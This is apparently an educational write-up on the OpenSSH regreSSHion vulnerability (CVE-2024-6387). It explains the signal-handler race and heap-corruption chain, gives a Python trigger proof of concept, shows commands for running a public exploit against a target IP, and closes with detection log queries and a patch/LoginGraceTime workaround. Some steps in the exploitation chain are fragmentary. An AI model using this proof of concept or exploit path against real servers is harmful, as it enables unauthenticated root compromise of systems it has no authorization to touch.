Signal handler in sshd calls syslog() — which isn't safe to call
from a signal. Under race conditions, this corrupts the heap.
Exploit the corruption via glibc internals → arbitrary write → root shell.
No authentication. Affects OpenSSH < 9.8p1 on glibc-based Linux.
What is this?
SSH is the protocol everyone uses to log into remote servers. OpenSSH is its most widespread implementation — it runs on virtually every Linux server on the internet. This vulnerability lets an attacker run code on an exposed SSH server without a password, without a key, without any account.
A race condition happens when two things run "at the same time" and the outcome depends on which finishes first. Here, an attacker triggers a timeout repeatedly, racing against the server's cleanup code. Win the race enough times and the memory state becomes exploitable.
The Bug
When a client connects to sshd but doesn't authenticate within
LoginGraceTime (default: 120 seconds), sshd sends itself a
SIGALRM signal to terminate the handler.
The problem: the SIGALRM handler calls syslog().
But syslog() internally calls malloc() and free().
These are async-signal-unsafe — they must never
be called from a signal handler, because the signal can fire while malloc's own
internal locks are in an inconsistent state.
malloc uses internal data structures (the heap). If a signal interrupts malloc mid-operation and the signal handler also calls malloc, both instances try to modify the same data simultaneously. The result is heap corruption — memory that now contains values an attacker can influence.
This is a regression — the same bug existed as CVE-2006-5051, was fixed, and was accidentally reintroduced in OpenSSH 8.5p1 (2021). Hence the name: regreSSHion.
Exploitation Chain
Getting from "heap corruption" to "root shell" requires chaining several steps. This is why CVSS rates it High Complexity — it's not a trivial one-shot.
SIGALRM to fire
(~120s by default, faster if LoginGraceTime is low).
The signal fires mid-malloc() call with high probability
under controlled timing.
syslog()→malloc() in the signal handler
corrupts a free-list chunk. This gives a controlled write to a location
near the freed chunk. Not arbitrary yet — we need to set up the heap layout first.
struct containing cleanup callbacks).
Proof of Concept
The following is a simplified PoC demonstrating the trigger condition. A full weaponized version requires tuning heap grooming for the target's glibc version and system memory layout.
#!/usr/bin/env python3
"""
CVE-2024-6387 — regreSSHion trigger PoC
Target: OpenSSH < 9.8p1 on glibc Linux
Effect: demonstrates the race condition window
"""
import socket, time, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = 22
def connect_and_wait(n):
"""Connect, send SSH banner, hold connection until SIGALRM fires."""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
banner = s.recv(256)
print(f"[{n:04d}] banner: {banner[:30]}")
# Send client banner — keeps connection open
s.send(b"SSH-2.0-OpenSSH_9.0\r\n")
# Hold open past LoginGraceTime to trigger SIGALRM
# Default is 120s, many servers set it to 30s or less
try:
s.settimeout(130)
s.recv(4) # wait for server to close us
except:
pass
finally:
s.close()
# In a real exploit: spawn multiple threads, tune timing
# to hit the race window. Here we just show the trigger.
for i in range(5):
connect_and_wait(i)
time.sleep(0.1)
print("Done — check sshd logs for SIGALRM races.")
Run the actual exploit from a Linux terminal against a vulnerable target:
# Check your sshd version first
ssh -V
# Verify LoginGraceTime (lower = faster exploit)
grep LoginGraceTime /etc/ssh/sshd_config
# Public PoC (Qualys released a functional version post-patch)
# git clone https://github.com/qualys-research/regresshion-poc
# python3 poc.py TARGET_IP
Real exploitation on 64-bit requires thousands of attempts due to ASLR. Each attempt crashes sshd but systemd/init restarts it automatically. The exploit is practical but slow (~minutes to hours depending on luck).
Detection
Look for rapid repeated SSH connections from a single source that all terminate without completing authentication:
# Detect regreSSHion exploitation attempts in auth logs
grep "Connection closed by.*\[preauth\]" /var/log/auth.log \
| awk '{print $NF}' | sort | uniq -c | sort -rn | head -20
# Count failed pre-auth connections per minute
journalctl -u ssh --since "1 hour ago" \
| grep "preauth" | awk '{print $1,$2}' | uniq -c
Mitigation
Patch: upgrade to OpenSSH 9.8p1 or later.
On Debian/Ubuntu: apt update && apt upgrade openssh-server.
Immediate workaround if you can't patch immediately:
set LoginGraceTime 0 in /etc/ssh/sshd_config.
This disables the SIGALRM timer entirely, eliminating the race window.
Trade-off: unauthenticated connections can linger longer.
# Workaround — disables SIGALRM timeout
echo "LoginGraceTime 0" >> /etc/ssh/sshd_config
systemctl reload sshd
# Verify
sshd -T | grep logingracetime
References
Qualys advisory (original research)
NVD — CVE-2024-6387
OpenSSH 9.8p1 release notes
Research conducted on isolated lab infrastructure. No third-party systems targeted without authorization.